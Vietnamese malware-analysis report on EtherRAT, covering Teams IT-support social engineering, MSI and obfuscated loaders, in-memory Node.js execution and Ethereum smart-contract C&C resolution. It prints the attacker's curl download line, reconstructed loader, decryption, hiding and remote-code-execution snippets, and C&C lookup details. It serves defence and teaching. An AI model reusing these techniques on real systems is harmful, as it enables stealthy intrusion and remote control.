EtherRAT phát tán qua giả mạo hỗ trợ IT trên Microsoft Teams: Smart contract Ethereum làm cơ chế phân giải C&C
Threat Intelligence : Bài viết này được phân tích và tổng hợp nhằm chuẩn bị cho bài thuyết trình của công ty mình tại Security Bootcamp 2026 - tổ chức tại TP. Buôn Ma Thuột, tỉnh Đắk Lắk từ ngày 10-12/09/2026.
Slide thuyết trình : "Smart Contracts, Smarter Malware: The Rise of EtherRAT and On-Chain Persistence"
Tóm tắt
Chúng tôi đã phân tích chuỗi lây nhiễm EtherRAT được Palo Alto Networks Unit 42 công bố ngày 28/06/2026. Trong chiến dịch này, kẻ tấn công giả danh bộ phận hỗ trợ IT, dùng cuộc gọi Microsoft Teams để chiếm quyền điều khiển máy nạn nhân và triển khai bộ cài MSI
v7.msi.Chuỗi lây nhiễm tải runtime Node.js v18.20.5 hợp lệ từ
nodejs.orgvà đẩy payload EtherRAT cuối cùng vàonode.exequa stdin, nên payload không bao giờ được ghi ra đĩa dưới dạng script.EtherRAT không hardcode máy chủ C&C chính. Mã độc truy vấn song song smart contract Ethereum
0x788a5336c0ef70be87619a3c13a43050c426f7ecqua bảy RPC endpoint công khai, và chỉ dùngnecropatia[.]comđược hardcode khi mọi truy vấn đều thất bại.Phần lõi EtherRAT không có sẵn chức năng nào như keylogging hay đánh cắp thông tin đăng nhập. Nó duy trì kết nối với máy chủ C&C và thực thi bất kỳ JavaScript nào nhận được, nên mọi hành vi hậu khai thác đều được gửi xuống lúc runtime.
Dữ liệu on-chain cho thấy
0x6e044e19000487c4a6e6af15b4132a5561b5ee1flà ví của operator chứ không phải contract. Dữ liệu này cũng tiết lộ mã độc vẫn duy trì cập nhật theo thời gian và cho thấy mỗi lần cập nhật C&C chỉ tốn của operator khoảng 0,02 USD phí gas.
1. Tổng quan
Ngày càng nhiều họ mã độc sử dụng blockchain công khai để phân giải hạ tầng C&C. Thay vì nhúng địa chỉ C&C vào mã độc, chúng lưu địa chỉ này trong một smart contract và đọc lại bằng một lệnh gọi chỉ đọc (read-only call). Kỹ thuật này được gọi là EtherHiding, khiến việc takedown trở nên vô hiệu vì một contract đã triển khai không thể bị gỡ bỏ. Nó cũng cho phép operator chuyển toàn bộ botnet sang hạ tầng mới chỉ bằng một giao dịch. Kho dữ liệu Unit 42 Timely Threat Intel ghi nhận ít nhất tám chiến dịch như vậy tính đến ngày 06/08/2026, trên Ethereum, BNB Smart Chain và Polygon (xem Mục 4).
EtherRAT là một implant dựa trên Node.js, được Sysdig ghi nhận lần đầu trong các cuộc tấn công khai thác React2Shell (CVE-2025-55182) nhắm vào Linux. Ngày 28/06/2026, Unit 42 công bố một chiến dịch mới kết hợp email phishing với cuộc gọi giả mạo hỗ trợ IT qua Microsoft Teams để phát tán EtherRAT.
Dựa trên các IoC do Unit 42 công bố, chúng tôi đã thu thập bộ cài ban đầu v7.msi từ VirusTotal. Tại thời điểm chụp, 26 trên 61 nhà cung cấp bảo mật đánh dấu tệp này là độc hại.
Kết quả phát hiện v7.msi trên VirusTotal
Báo cáo này phân tích chi tiết từng giai đoạn của chuỗi lây nhiễm và giải thích cách EtherRAT phân giải máy chủ C&C thông qua smart contract Ethereum. Sau đó, báo cáo đưa ra một vài hướng dẫn nhằm phát hiện và ngăn chặn hành vi đối với mẫu mã độc sử dụng Blockchain làm cơ chế phân giải C&C này.
2. Phân tích tấn công
Tổng quan cuộc tấn công
2.1. Truy cập ban đầu qua giả mạo hỗ trợ IT trên Microsoft Teams
Theo Unit 42, cuộc xâm nhập bắt đầu bằng một email HTML có tiêu đề "Employee Survey results". Nạn nhân mở tệp đính kèm EE Survey - How to log on.pdf trong Adobe Acrobat Reader, sau đó nhận được cuộc gọi Microsoft Teams từ một tài khoản có tên hiển thị "System Administrator". Tiêu đề cửa sổ Teams được ghi lại trong phiên làm việc của nạn nhân cho thấy người gọi đến từ bên ngoài tổ chức:
System Administrator (External unfamiliar) | Microsoft Teams
Teams gắn nhãn External unfamiliar khi bên kia thuộc một tenant bên ngoài, không có quan hệ tin cậy với tổ chức. Nhật ký kiểm toán (audit log) của Teams xác nhận một cuộc trò chuyện OneOnOne xuyên tenant được khởi tạo từ tài khoản do kẻ tấn công kiểm soát:
helpdesk@Progressive934.onmicrosoft[.]com (tài khoản của kẻ tấn công)
310e9ead-4f6f-491e-aafe-feb08c8d17a4 (tenant ID của kẻ tấn công)
HasForeignTenantUsers: true
Phiên làm việc cũng chứa artifact CtrlVirtualCursorWin_000001E8A159B970. Teams tạo artifact này khi một người tham gia cấp hoặc yêu cầu quyền điều khiển màn hình: Teams chặn chuyển động chuột của người điều khiển và chèn chúng vào máy bị điều khiển thông qua một con trỏ ảo. Artifact này cho thấy kẻ tấn công đang trực tiếp thao tác trên máy nạn nhân.
Khi đã có quyền điều khiển từ xa, kẻ tấn công yêu cầu nạn nhân cài đặt hai công cụ giám sát và quản lý từ xa (RMM) hợp lệ là HopToDesk và AnyDesk thông qua Microsoft Edge. Các công cụ này giúp kẻ tấn công duy trì quyền truy cập sau khi cuộc gọi Teams kết thúc. Sau đó, kẻ tấn công mở Command Prompt và tải tệp MSI về:
cmd /c curl -Lo "%LOCALAPPDATA%\Temp\v7.msi" hxxps://camorreado[.]click/v7.msi
Unit 42 phát hiện một open directory trên camorreado[.]click chứa EtherRAT từ phiên bản v1 đến v9, cập nhật lần cuối ngày 26/06/2024. Đến thời điểm chúng tôi phân tích, kẻ tấn công đã xóa các tệp được lưu trữ tại đây. Tên miền này là hạ tầng phát tán, không phải máy chủ C&C mà implant sử dụng sau khi cài đặt.
Trong lúc vẫn còn kiểm soát máy, kẻ tấn công còn truy cập cổng ServiceNow nội bộ của tổ chức và tạo một phiếu hỗ trợ (My Request - INC0491{REDACTED}) để yêu cầu quyền truy cập vào một số ứng dụng nội bộ. Hoạt động này nhằm chuẩn bị cho các giai đoạn xâm nhập sau và không thuộc chuỗi thực thi mã độc.
2.2. v7.msi
v7.msi (SHA-256 fc2907fa866f86e0821f75060a331ce69ee10ff3aa374587993b17ba5406fa33) là một gói Windows Installer có kích thước nhỏ khoảng 30 KB. Chúng tôi giải nén nội dung bằng lessmsi và kiểm tra các bảng bằng Orca. Gói cài đặt thả ba tệp vào cùng một thư mục trong thư mục dữ liệu ứng dụng cục bộ (local application data):
| Tên tệp | Kích thước (byte) | Mô tả |
|---|---|---|
R2YxSP2m.cmd |
1789 | Batch loader chuẩn bị runtime Node.js và khởi chạy JavaScript loader |
z0SYYdWk9g.dat |
5244 | JavaScript loader đã bị làm rối |
eXYlcnebRLrWyBc.ini |
7614 | Payload lõi EtherRAT đã mã hóa |
Các tệp do MSI tạo ra
Bảng CustomAction của file MSI chỉ chứa một hành động duy nhất, có tên ngẫu nhiên tiWqF9TeA6fX (type 1250). Khi người dùng chạy file cài đặt, sau khi các file đã được chép xuống máy, installer sẽ tự động chạy script batch R2YxSP2m.cmd bằng lệnh sau:
conhost --headless cmd /c "R2YxSP2m.cmd"
Các tệp được giải nén từ v7.msi và bảng CustomAction của MSI
Sau khi bóc tách toàn bộ các lớp, chuỗi thực thi đầy đủ như sau:
v7.msi
└─ conhost --headless cmd /c R2YxSP2m.cmd
└─ conhost --headless cmd /c call R2YxSP2m.cmd 49UB
└─ node.exe z0SYYdWk9g.dat
└─ vm.compileFunction(<JavaScript 1969 byte đã giải mã>)
├─ sao chép node.exe -> texuvTlV.exe
├─ giải mã eXYlcnebRLrWyBc.ini
└─ texuvTlV.exe -
└─ lõi EtherRAT được truyền qua stdin
Trong báo cáo này, R2YxSP2m.cmd, z0SYYdWk9g.dat và payload được giải mã từ eXYlcnebRLrWyBc.ini lần lượt được gọi là Giai đoạn 1, Giai đoạn 2 và Giai đoạn 3.
2.3. Giai đoạn 1 - R2YxSP2m.cmd
R2YxSP2m.cmd đã bị làm rối
Làm rối bằng kỹ thuật cắt chuỗi (string slicing)
R2YxSP2m.cmd che giấu các lệnh bằng cơ chế trích xuất chuỗi con (substring expansion) của batch. Tất cả các mảnh chuỗi được gói vào một biến duy nhất là _sxr, và mỗi lệnh được dựng lại lúc chạy bằng %_sxr:~offset,length%. Trên đĩa, script trông như dữ liệu vô nghĩa, nhưng khi thực thi, nó dựng lại đầy đủ curl, tar, where, timeout, conhost, cmd, call và node.
| Offset | Chuỗi giải mã | Offset | Chuỗi giải mã |
|---|---|---|---|
10,4 |
curl |
86,4 |
-sLo |
19,3 |
tar |
94,3 |
-xf |
27,4 |
node |
102,8 |
/nobreak |
37,7 |
timeout |
115,18 |
https://nodejs.org |
46,5 |
where |
140,15 |
/dist/v18.20.5/ |
55,3 |
del |
162,21 |
node-v18.20.5-win-x64 |
63,3 |
ren |
185,7 |
conhost |
72,4 |
.exe |
199,10 |
--headless |
78,4 |
.zip |
211,3 |
cmd |
220,2 |
/c |
||
228,4 |
call |
Các chuỗi con của _sxr sau khi giải mã
Có thể gỡ rối tĩnh mà không cần thực thi mẫu:
$raw = Get-Content .\R2YxSP2m.cmd -Raw
$sxr = [regex]::Match($raw, 'set\s+"_sxr=([^"]+)"').Groups[1].Value
$decoded = [regex]::Replace($raw, '%_sxr:~(\d+),(\d+)%', {
param($m)
$sxr.Substring([int]$m.Groups[1].Value, [int]$m.Groups[2].Value)
})
$decoded | Set-Content .\R2YxSP2m.deobf.txt
Chuẩn bị runtime Node.js
Đầu tiên, script tự khởi chạy lại chính nó trong một console headless với tham số đánh dấu 49UB. Marker này giữ cho script chạy trong một phiên ẩn và ngăn vòng lặp tự khởi chạy vô hạn.
if not "%~1"=="49UB" (
%SystemRoot%\System32\conhost --headless ^
%SystemRoot%\System32\cmd /c call "%~f0" 49UB
exit
)
Sau đó, script lưu thư mục chứa chính nó vào biến kaw và tìm node.exe trên PATH. Tệp tạm qNCplqpq chứa output của where node và bị xóa ngay sau khi được đọc.
set "kaw=%~dp0"
set "kaw=!kaw:~0,-1!"
set "wgi="
where node >"!kaw!\qNCplqpq" 2>nul
set /p wgi=<"!kaw!\qNCplqpq"
del "!kaw!\qNCplqpq" >nul 2>&1
if defined wgi goto :dNTOe
Nếu Node.js chưa được cài đặt, loader tải bản phân phối chính thức về, giải nén và đổi tên thư mục thành 1DIZ0D:
set "ot8=https://nodejs.org/dist/v18.20.5/node-v18.20.5-win-x64.zip"
set "z4d=node-v18.20.5-win-x64.zip"
curl -sLo "%TEMP%\!z4d!" "!ot8!"
tar -xf "%TEMP%\!z4d!" -C "!kaw!"
del /q "%TEMP%\!z4d!" >nul 2>&1
ren "!kaw!\node-v18.20.5-win-x64" 1DIZ0D >nul 2>&1
Bước này là lý do chuỗi lây nhiễm khó bị chặn bằng các biện pháp kiểm soát truyền thống. URL là nodejs.org, các binary tải về có chữ ký hợp lệ, còn curl.exe và tar.exe là công cụ có sẵn trong Windows. Script không kiểm tra hash, chữ ký hay mã thoát của thao tác tải. Nó lặp lại quy trình tìm kiếm và đổi tên sau mỗi ba giây cho đến khi node.exe xuất hiện.
Đồng bộ payload và chuyển giao thực thi
Khi runtime đã sẵn sàng, loader chờ cho đến khi cả hai tệp payload cùng tồn tại:
:xrQ6m
if not exist "!kaw!\eXYlcnebRLrWyBc.ini" goto :udapi
if not exist "!kaw!\z0SYYdWk9g.dat" goto :udapi
goto :T7Ofb
:udapi
timeout /t 2 /nobreak >nul 2>&1
goto :xrQ6m
Hai tệp này do MSI thả xuống, nên vòng lặp này đóng vai trò đồng bộ script với trình cài đặt. Cuối cùng, script đặt một biến môi trường và khởi chạy Giai đoạn 2:
:T7Ofb
set "_XH=1"
%SystemRoot%\System32\conhost --headless "!wgi!" "!kaw!\z0SYYdWk9g.dat"
exit
Biến _XH=1 chưa được sử dụng đến, nhưng nó điều khiển một nhánh hành vi trong Giai đoạn 2.
2.4. Giai đoạn 2 - z0SYYdWk9g.dat
JavaScript loader z0SYYdWk9g.dat
Mã rác và định danh mã hóa hex
Dù mang phần mở rộng .dat, z0SYYdWk9g.dat thực chất là JavaScript. Phần lớn tệp là một object duy nhất, iifn, chứa dữ liệu được mã hóa hex:
function bfzjo(s,n){var r=0;for(var i=0;i<s.length;i++){r=(r*n+s.charCodeAt(i))>>>0}return r}
function yvu(v,lo,hi){return v<lo?lo:v>hi?hi:v}
function jvwj(a,b){var c=[];for(var i=0;i<a.length;i++)c[i]=(a[i]+b[i%b.length])&255;return c}
var iifn={"threshold54":1378,"token87":"94ea2ff910a28771f74c2759132ce77d0eb231e3aa1900e1","store94":"32dcfd4f...","ht4":"70617468","bs9":"636f6d70696c6546756e6374696f6e","au5":"766d","ar9":"72657175697265", ... };
Ba hàm ở đầu tệp, bfzjo, yvu và jvwj, trông giống các routine mã hóa nhưng không bao giờ được gọi; chúng là mã rác. Một số trường trong iifn, như threshold54, timeout54, mode43, level4 và revision23, cũng không bao giờ được đọc.
Logic thực sự bắt đầu với một hàm giải mã hex đơn giản:
var kqm = Buffer,
iem = "hex";
var uwqft = function (k) {
return kqm.from(iifn[k], iem).toString();
};
Áp dụng hàm giải mã cho các key liên quan sẽ làm lộ tên module và API mà loader che giấu:
| Key | Giá trị giải mã | Key | Giá trị giải mã |
|---|---|---|---|
au5 |
vm |
ho9 |
module |
bs9 |
compileFunction |
iq6 |
__filename |
ar9 |
require |
ss2 |
__dirname |
pm8 |
exports |
ht4 |
path |
Các định danh mã hóa hex trong z0SYYdWk9g.dat
Giải mã loader giai đoạn hai
Loader ghép hai chuỗi hex cache27 và store94 thành một blob và giải mã bằng một thuật toán mã hóa dựa trên phép trừ (subtraction cipher). Thuật toán dùng khóa 24 byte token87 kết hợp với chỉ số byte:
var ljdb = kqm.from(iifn["token87"], iem);
var dhegf = iifn["cache27"] + iifn["store94"];
var kbei = kqm.from(dhegf, iem);
var fie = kqm.alloc(kbei.length);
for (var v = 0; v < kbei.length; v++) {
fie[v] = (kbei[v] - ljdb[v % ljdb.length] - v) & 255;
}
decoded[i] = (blob[i] - token87[i % 24] - i) & 0xff
token87 = 94ea2ff910a28771f74c2759132ce77d0eb231e3aa1900e1
Kết quả là một JavaScript loader thứ hai dài 1969 byte (SHA-256 d46b4e8d188fe1773c44d38d730dcb6287639568240c765d9ad4ad79cd239e82).
Thực thi qua vm.compileFunction
Loader đã giải mã không bao giờ được ghi ra đĩa. Nó được biên dịch và thực thi trực tiếp:
var dmq = require(uwqft("au5"));
var guh = dmq[uwqft("bs9")](fie.toString(), [
uwqft("ar9"),
uwqft("pm8"),
uwqft("ho9"),
uwqft("iq6"),
uwqft("ss2"),
]);
var clei = process.argv[1] || __filename || ".";
guh(ovaz, module.exports, module, clei, rtal.dirname(clei));
Sau khi thay các tên đã giải mã vào, đoạn mã trở thành:
const fn = require("vm").compileFunction(decodedSource, [
"require",
"exports",
"module",
"__filename",
"__dirname",
]);
fn(require, module.exports, module, currentFile, path.dirname(currentFile));
Về mặt chức năng, đây chính là eval: mã đã giải mã chạy bên trong tiến trình Node.js với đầy đủ quyền truy cập require và các đối tượng module. API thực sự được gọi là vm.compileFunction chứ không phải eval(), điều này quan trọng đối với các rule phát hiện dựa trên tên API.
Nhân bản runtime và tự khởi chạy lại
Loader 1969 byte thực hiện ba việc. Thứ nhất, nó trỏ tới tệp ciphertext và sao chép binary Node.js đang chạy sang một tên mới:
const encryptedIni = path.join(scriptDir, "eXYlcnebRLrWyBc.ini");
const copiedNode = path.join(path.dirname(process.execPath), "texuvTlV.exe");
try {
if (!fs.existsSync(copiedNode)) {
fs.copyFileSync(process.execPath, copiedNode);
}
} catch (_a) {}
Khi chuỗi lây nhiễm dùng runtime vừa tải về, bản sao được tạo tại 1DIZ0D\texuvTlV.exe. Nếu Node.js được tìm thấy ở vị trí bị hạn chế quyền ghi như Program Files, thao tác sao chép thất bại mà không báo lỗi và loader quay về dùng node.exe gốc. Vì vậy, chỉ hunting theo texuvTlV.exe là chưa đủ.
Thứ hai, nó chứa một nhánh tự khởi chạy lại:
function hideSelf() {
if (process.env._XH) return;
const env = Object.assign({}, process.env, { _XH: "1" });
const child = spawn(nodeToRun, [currentScript], {
detached: true,
stdio: "ignore",
env,
windowsHide: true,
cwd: path.dirname(currentScript),
});
child.unref();
setTimeout(function () {
process.exit();
}, 0x12c);
}
Đây là lúc _XH=1 từ Giai đoạn 1 được sử dụng. Trong chuỗi MSI thông thường, biến này đã được đặt sẵn nên nhánh này bị bỏ qua. Tuy nhiên, nếu nhà phân tích chạy riêng tệp .dat, loader sẽ sinh một tiến trình con detached, gọi unref() rồi thoát sau 300 ms, khiến phân tích mất dấu tiến trình con. Đây là một cái bẫy dành cho phân tích động và theo dõi tiến trình nghi ngờ.
Việc thứ ba là giải mã eXYlcnebRLrWyBc.ini.
Giải mã eXYlcnebRLrWyBc.ini
Dù mang phần mở rộng như vậy, eXYlcnebRLrWyBc.ini không phải tệp cấu hình mà là ciphertext. Thuật toán không phải AES hay RC4 mà là một phép biến đổi từng byte tự xây dựng, gồm năm bước cho mỗi byte:
Trừ byte ciphertext liền trước (delta decoding)
XOR với khóa
ntheo chu kỳXOR với byte cao của vị trí:
(i >> 8) & 0xffDùng kết quả làm chỉ số tra bảng thay thế 256 byte (S-box)
Trừ khóa
ktheo chu kỳ
function decryptIni() {
const input = fs.readFileSync(encryptedIni);
const output = Buffer.alloc(input.length);
let previous = n[0];
for (let i = 0; i < input.length; i++) {
let b = input[i];
const oldPrevious = previous;
previous = b;
b = (b - oldPrevious) & 0xff;
b = b ^ n[i % n.length] ^ ((i >>> 8) & 0xff);
b = si[b];
b = (b - k[i % k.length]) & 0xff;
output[i] = b;
}
return output;
}
| Hằng số | Độ dài | Giá trị |
|---|---|---|
n (khóa XOR) |
16 byte | ef0e52b62b0eef9fe5c3a1c18ec7c78c |
k (khóa trừ) |
64 byte | aa6846b7a17407366024bec0fe28d9908da6cffdfd6e20b8039cb51d14b8c903 |
bf7ec565ab44c4b2ae8b71f39acaa951eafe67efa084728c44ac9e7297202af8 |
||
si (S-box) |
256 byte | Bảng thay thế được nhúng trong loader |
Các hằng số giải mã cho eXYlcnebRLrWyBc.ini
Có hai chi tiết quan trọng khi dựng lại thuật toán. Thứ nhất, previous nhận byte ciphertext gốc chứ không phải byte đã giải mã, nên mỗi byte phụ thuộc vào byte mã hóa liền trước. Thứ hai, khóa n dài đúng 16 byte. Chúng tôi đã viết lại routine này thành một bộ giải mã Python độc lập để giải mã tệp mà không cần thực thi mẫu:
def decrypt_ini(ciphertext: bytes) -> bytes:
"""Decrypt bytes using the exact transform from the JS loader."""
k = bytes.fromhex(K_HEX)
n = bytes.fromhex(N_HEX)
si = bytes.fromhex(SI_HEX)
if len(si) != 256:
raise ValueError(f"bad substitution table length: {len(si)}")
out = bytearray(len(ciphertext))
previous = n[0]
for i, current in enumerate(ciphertext):
old_previous = previous
previous = current
b = (current - old_previous) & 0xFF
b = b ^ n[i % len(n)] ^ ((i >> 8) & 0xFF)
b = si[b]
b = (b - k[i % len(k)]) & 0xFF
out[i] = b
return bytes(out)
Thực thi trong bộ nhớ qua stdin
Loader không ghi payload đã giải mã ra tệp .js. Thay vào đó, nó đẩy payload vào một tiến trình Node.js mới:
const child = spawn(nodeToRun, ["-"], {
stdio: ["pipe", "ignore", "ignore"],
windowsHide: true,
});
child.stdin.write(decryptedPayload);
child.stdin.end();
child.on("exit", function () {
setTimeout(runPayloadLoop, 0x1388);
});
node.exe - yêu cầu Node.js đọc script từ stdin. Payload cuối chạy hoàn toàn trong bộ nhớ: stdout và stderr bị loại bỏ, còn windowsHide: true ẩn cửa sổ console. Nếu tiến trình con thoát, loader khởi động lại sau 0x1388 ms (5 giây). Nếu việc đọc hoặc giải mã thất bại, nó thử lại sau 0x2710 ms (10 giây).
Đối với bên phòng thủ, điều này có nghĩa là việc thu thập tệp trên đĩa sẽ không thu được giai đoạn cuối. Cần dump bộ nhớ của tiến trình node.exe hoặc texuvTlV.exe, hoặc dùng telemetry về pipe. Lõi EtherRAT đã giải mã có SHA-256 c16784e2c7b3e3b798addd718850da18f8eb532ab8f352c769a4470d7124805d.
2.5. Giai đoạn 3 - Core EtherRAT
Core EtherRAT chỉ import fs, path, os và crypto. Nó không có child_process và không có logic keylogging hay đánh cắp thông tin đăng nhập. Xét mẫu tĩnh, bản thân mã không thực hiện quá nhiều hành vi.
Cấu hình hardcode
const fallbackServer = "hxxps://necropatia[.]com";
const buildId = "de30e25b-333b-45d3-a8cc-62dd131d142a";
const hostingContract = "0x788a5336c0ef70be87619a3c13a43050c426f7ec";
const c2ValueArgument = "0x6e044e19000487c4a6e6af15b4132a5561b5ee1f";
const blockchainEnabled = true;
Tạo đường dẫn cài đặt
EtherRAT xác định thư mục cài đặt dựa trên thông tin của máy:
function chooseInstallDir() {
const topNames = ["Microsoft", "Windows", "Programs", "Packages", "Google"];
const subNames = [
"Services",
"Components",
"Assemblies",
"Extensions",
"Modules",
];
const hostUser =
(process.env.COMPUTERNAME || "") + (process.env.USERNAME || "");
const id = crypto
.createHash("md5")
.update(hostUser)
.digest("hex")
.slice(0, 8);
const top = topNames[parseInt(id.slice(0, 2), 16) % topNames.length];
const sub = subNames[parseInt(id.slice(2, 4), 16) % subNames.length];
const suffix = id.slice(4);
const topPath = path.join(localAppData, top);
if (fs.existsSync(topPath)) {
return path.join(topPath, sub, suffix);
}
return path.join(localAppData, id);
}
8 ký tự hex đầu tiên của MD5(COMPUTERNAME + USERNAME) đóng vai trò hạt giống. Byte đầu tiên chọn thư mục cha, byte thứ hai chọn thư mục con, và bốn ký tự còn lại tạo thành hậu tố. Nếu thư mục cha không tồn tại, đường dẫn chuyển sang %LOCALAPPDATA%\<8-hex>. Các đường dẫn được tạo ra có dạng:
%LOCALAPPDATA%\Microsoft\Components\a3f1
%LOCALAPPDATA%\Google\Modules\7b2c
Đường dẫn này ổn định với mỗi cặp máy và người dùng nhưng khác nhau giữa các máy, nên không thể dùng một đường dẫn cố định làm IoC. EtherRAT không đặt thuộc tính Hidden; nó dựa vào các tên thư mục trông giống thành phần phần mềm hợp lệ.
Tệp cấu hình
Tệp cấu hình được lưu trong thư mục này với tên MD5(installDir)[0:6], không có phần mở rộng. Nội dung tệp là JSON được mã hóa Base64. Dữ liệu chỉ được encode chứ không được mã hóa, nên người ứng cứu sự cố khi tìm thấy tệp có thể đọc được ngay.
return JSON.parse(Buffer.from(encoded, "base64").toString());
| Chỉ số | Mô tả |
|---|---|
0 |
Bot ID (UUID) |
1 |
Tên một tệp cục bộ có thể được gửi lên máy chủ C&C để làm rối lại (reobfuscation) |
3 |
Timestamp đánh dấu việc làm rối lại đã hoàn tất |
5 |
Cờ bật logging thông thường |
Các trường trong tệp cấu hình
Tạo ID
EtherRAT trước tiên đọc bot ID từ config[0]. Nếu chưa có ID nào được lưu ở đó, nó tìm các artifact do các phiên bản cũ để lại: %APPDATA%\.node_bot_id, hoặc bất kỳ tệp ẩn nào trong %APPDATA% có tên dài đúng 11 ký tự và bắt đầu bằng dấu chấm. Chỉ khi tất cả các bước tìm kiếm này thất bại, nó mới sinh UUID mới bằng crypto.randomUUID(). Logic chuyển đổi (migration) này cho thấy EtherRAT đã trải qua nhiều phiên bản và tác giả muốn các máy bị nhiễm giữ nguyên danh tính khi nâng cấp.
Ghi log
Logging thông thường bị tắt theo mặc định (loggingEnabled = false), nhưng hai handler xử lý lỗi vẫn ghi log vô điều kiện:
process.on("unhandledRejection", (err) => logError("unhandledRejection", err));
process.on("uncaughtException", (err) => logError("uncaughtException", err));
Log được ghi vào %APPDATA%\svchost.log. Một tệp tên svchost.log trong %APPDATA% không bao giờ nên tồn tại trên một hệ thống sạch, điều này khiến nó trở thành một trong những chỉ dấu hunting đáng tin cậy nhất trong chuỗi này.
Yêu cầu làm rối lại (reobfuscation)
EtherRAT có tính năng làm rối lại mã nguồn. Khi config[1] được đặt, config[3] còn trống và tệp được chỉ định tồn tại, lõi sẽ đọc tệp mã nguồn cục bộ đó và gửi nó trong một POST request tới:
<C&C>/api/[REOBF_PATH]/<botId>
Body của request là {code, build}. Nếu phản hồi dài ít nhất 100 byte, nó sẽ ghi đè lên tệp cục bộ và timestamp hiện tại được lưu vào config[3]. Mục đích là để mỗi máy bị nhiễm yêu cầu một biến thể mã nguồn riêng, qua đó vô hiệu hóa cơ chế phát hiện dựa trên hash.
Chuỗi [REOBF_PATH] xuất hiện nguyên văn trong artifact. Đây là placeholder chưa được thay thế, nên chỉ riêng mẫu này không thể xác nhận endpoint thực tế. Ngoài ra, lõi chạy từ stdin và không artifact nào trong ba tệp đặt giá trị cho config[1]. Tính năng này có tồn tại trong mã, nhưng chúng tôi không thể xác nhận nó đã được kích hoạt trong lần triển khai này. Lõi cũng không tự khởi động lại sau khi ghi đè tệp, nên mã mới chỉ có hiệu lực ở lần chạy tiếp theo.
Giao tiếp C&C
Mỗi polling request sử dụng một URL giả dạng tài nguyên tĩnh:
<C&C>/api/<8-hex>/<botId>/<8-hex>.<extension>?<key>=<buildId>
extension = png | jpg | gif | css | ico | webp
key = id | token | key | b | q | s | v
Ví dụ:
hxxps://necropatia[.]com/api/4f2a91bc/<botId>/7c81ea03.png?token=de30e25b-333b-45d3-a8cc-62dd131d142a
Trong log proxy, request này trông giống một lượt tải ảnh, nhưng mỗi request đều mang một header:
X-Bot-Server: <C&C hiện tại>
Mỗi request có timeout 0x1d4c0 ms (120 giây), phù hợp với cơ chế long polling. Sau mỗi chu kỳ, bot nghỉ 0x1f4 ms (500 ms). Khi gặp lỗi HTTP hoặc kết nối bị gián đoạn, nó chờ thêm 0x1388 ms (5 giây).
Thực thi JavaScript từ xa
Nếu body phản hồi dài hơn 10 ký tự, toàn bộ nội dung được coi là JavaScript và được thực thi:
const AsyncFunction = Object.getPrototypeOf(async function () {}).constructor;
const task = new AsyncFunction(
"require",
"process",
"Buffer",
"console",
"__dirname",
"__filename",
"log",
taskCode,
);
await task(require, process, Buffer, console, __dirname, __filename, log);
Task nhận require và process, nên nó có thể tự nạp child_process, fs hoặc net để chạy lệnh hệ điều hành, đọc ghi tệp hoặc mở kết nối mạng với quyền của tiến trình Node.js. Đây là lý do mẫu tĩnh trông "rỗng". EtherRAT không phải một RAT với tập lệnh cố định mà là một runtime thực thi mã từ xa, và mọi hành vi tiếp theo đều đến từ các task không có trong mẫu.
Hai chi tiết khác cũng đáng chú ý. Các task chạy bên trong setImmediate() và vòng polling không chờ chúng hoàn tất, nên nhiều task có thể chạy đồng thời. Thứ hai là bất kỳ ai kiểm soát được hạ tầng Blockchain và cập nhật máy chủ C&C đều có thể thực thi mã trên mọi bot đã lây nhiễm.
3. Phân tích smart contract
3.1. Phân giải địa chỉ C&C qua eth_call
EtherRAT không lưu URL C&C chính trong payload. Thay vào đó, nó gửi song song các JSON-RPC request eth_call tới bảy RPC endpoint Ethereum công khai:
https://mainnet.gateway.tenderly.cohttps://rpc.flashbots.net/fasthttps://rpc.mevblocker.iohttps://eth-mainnet.public.blastapi.iohttps://ethereum-rpc.publicnode.comhttps://eth.drpc.orghttps://eth.merkle.io
Calldata gồm function selector 0x7d434425, theo sau là địa chỉ tra cứu đã bỏ tiền tố 0x và được đệm trái (left-padded) thành 32 byte:
data = "0x7d434425" + lookupAddress.replace("0x", "").padStart(64, "0");
{
"jsonrpc": "2.0",
"method": "eth_call",
"params": [
{
"to": "0x788a5336c0ef70be87619a3c13a43050c426f7ec",
"data": "0x7d4344250000000000000000000000006e044e19000487c4a6e6af15b4132a5561b5ee1f"
},
"latest"
],
"id": 1
}
Selector 0x7d434425 tương ứng với getString(address), và selector ghi tương ứng 0x7fcaf666 là setString(string). Cặp hàm này cũng xuất hiện trong các contract được sử dụng bởi các biến thể EtherRAT được công bố trước đó.
3.2. Giải mã phản hồi và lựa chọn C&C
Giá trị trả về được giải mã như một ABI dynamic string:
const offset = parseInt(hex.slice(0, 64), 16) * 2;
const length = parseInt(hex.slice(offset, offset + 64), 16);
const value = Buffer.from(
hex.slice(offset + 64, offset + 64 + length * 2),
"hex",
).toString("utf8");
Giá trị chỉ được chấp nhận nếu khớp với biểu thức chính quy sau:
/^(https?|wss?):\/\//.test(url);
Bảy truy vấn RPC chạy đồng thời thông qua Promise.allSettled, mỗi truy vấn có timeout 10 giây. EtherRAT đếm số lần mỗi URL xuất hiện và chọn URL xuất hiện nhiều nhất:
const counts = {};
values.forEach((v) => {
counts[v] = (counts[v] || 0) + 1;
});
return Object.entries(counts).sort((a, b) => b[1] - a[1])[0][0];
Thuật toán này không yêu cầu phản hồi tối thiểu hay đa số tuyệt đối. Nếu chỉ một RPC trả về giá trị còn tất cả các RPC khác đều lỗi, giá trị đó vẫn được chọn. Thiết kế này nhằm chịu được lỗi phản hồi khi các RPC bị chặn hoặc gặp vấn đề mạng.
3.3. C&C dự phòng và làm mới định kỳ
Nếu không RPC nào trả về URL hợp lệ, bot dùng C&C dự phòng được hardcode là necropatia[.]com. Một timer chạy mỗi 60 giây, và khi đã qua khoảng 5 phút (0x493e0 ms) kể từ lần tra cứu gần nhất, bot sẽ truy vấn lại blockchain:
setInterval(() => {
if (blockchainEnabled && Date.now() - lastFetch > 0x493e0) {
fetchUrlFromBlockchain().then((url) => {
if (url && url !== serverUrl) serverUrl = url;
});
lastFetch = Date.now();
}
}, 0xea60);
Đối với kẻ tấn công, việc chuyển toàn bộ botnet sang máy chủ C&C mới chỉ cần một giao dịch Ethereum mà không cần truy cập lại vào bất kỳ máy bị nhiễm nào, và không ai có thể takedown một smart contract đã được triển khai.
3.4. Phân tích contract và ví
